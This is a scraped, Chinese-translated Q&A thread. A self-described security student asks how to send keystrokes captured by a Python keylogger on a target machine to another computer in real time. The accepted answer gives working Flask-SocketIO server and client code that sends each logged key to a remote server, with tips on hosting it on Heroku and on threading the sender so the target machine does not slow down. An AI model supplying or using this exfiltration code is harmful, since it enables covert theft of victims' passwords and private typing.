【问题标题】:Transfering log files wirelessly [closed]无线传输日志文件[关闭]
【发布时间】:2021-05-03 21:38:52
【问题描述】:

我是一名网络安全学生,正在从事一个项目,该项目捕获击键并将它们保存到一个 .txt 文件(使用 python 构建的简单键盘记录器)中,该文件将存储在插入目标机器的 USB 闪存驱动器上。然后必须将密钥数据从 USB 无线传输到另一台机器。我正在寻找传输这些数据的最佳方式(最好是实时的)。 任何提示将不胜感激。 提前致谢。

【问题讨论】:

  • 如果你可以在接收数据的机器上运行一个系统日志服务器,你可以直接使用python的日志模块记录消息并跳过闪存驱动器。

标签: python file-transfer wireless keylogger


【解决方案1】:

您可以使用套接字来做到这一点。下面的代码使用 python 服务器和客户端。该服务器可以托管在 Heroku 或任何其他支持 python 服务器的 Web 托管服务上。如果您将其部署到托管服务,请查看他们的文档。您也可以只在本地运行服务器(仅用于测试/演示目的)。

服务器:

from flask import Flask, render_template
from flask_socketio import SocketIO, emit

app = Flask(__name__)
app.config['SECRET_KEY'] = 'secret!'
socketio = SocketIO(app)

@socketio.on('keylogger')
def test_connect(data):
    print(data["keylogged"])

if __name__ == '__main__':
    socketio.run(app)

客户端代码(将此添加到您的键盘记录器以发送每个按键):

from socketIO_client import SocketIO, LoggingNamespace

socketIO = SocketIO('localhost', 5000, LoggingNamespace) # Change 5000 to 443 if running on heroku, and change the localhost to the server url
socketIO.emit('keylogger', {"keylogged": "<key that code logged>"})

如果上面的代码客户端代码太慢,你可以使用queuethreading,如下所示:

import queue
import threading
from socketIO_client import SocketIO, LoggingNamespace

socketIO = SocketIO('localhost', 5000, LoggingNamespace)


q = queue.Queue()

def background():
    while True:
        msg = q.get()
        socketIO.emit("keylogger", {"keylogged": msg})

sockthread = threading.Thread(target=background)
sockthread.start()


<code that logs key, and when a key is detected, adds the key into the queue: `q.put(key)`>

在您运行以下代码之前,服务器已使用 pip 安装了这些依赖项:

flask
flask-socketio

并且客户端通过 pip 安装了这些依赖项:

socketIO-client

【讨论】:

  • 这只是一个基本思路,代码可能需要tweeked
  • 如果有帮助请点击复选标记
  • 感谢您提供详细的示例。会尝试并在之后提供反馈。
  • 我尝试实现这个例子似乎很成功。但是,程序变得非常缓慢。检测、记录然后将击键发送到服务器需要大约 2 秒的处理时间。因此,它无法检测到每一次击键,并且在客户端运行时,在目标机器上输入任何内容也会变得非常慢。您可能对导致这种情况的原因有任何想法吗?
  • 每次用户按下一个键,你都在运行这个代码:socketIO.emit('keylogger', {"keylogged": "&lt;key that code logged&gt;"}),对吧?如果你是,而且它仍然太慢,那么你可以在另一个线程中发送击键。我现在添加一个例子
猜你喜欢
  • 2012-10-02
  • 1970-01-01
  • 2019-04-11
  • 1970-01-01
  • 2012-04-21
  • 2011-02-28
  • 1970-01-01
  • 1970-01-01
  • 2016-09-08
相关资源
最近更新 更多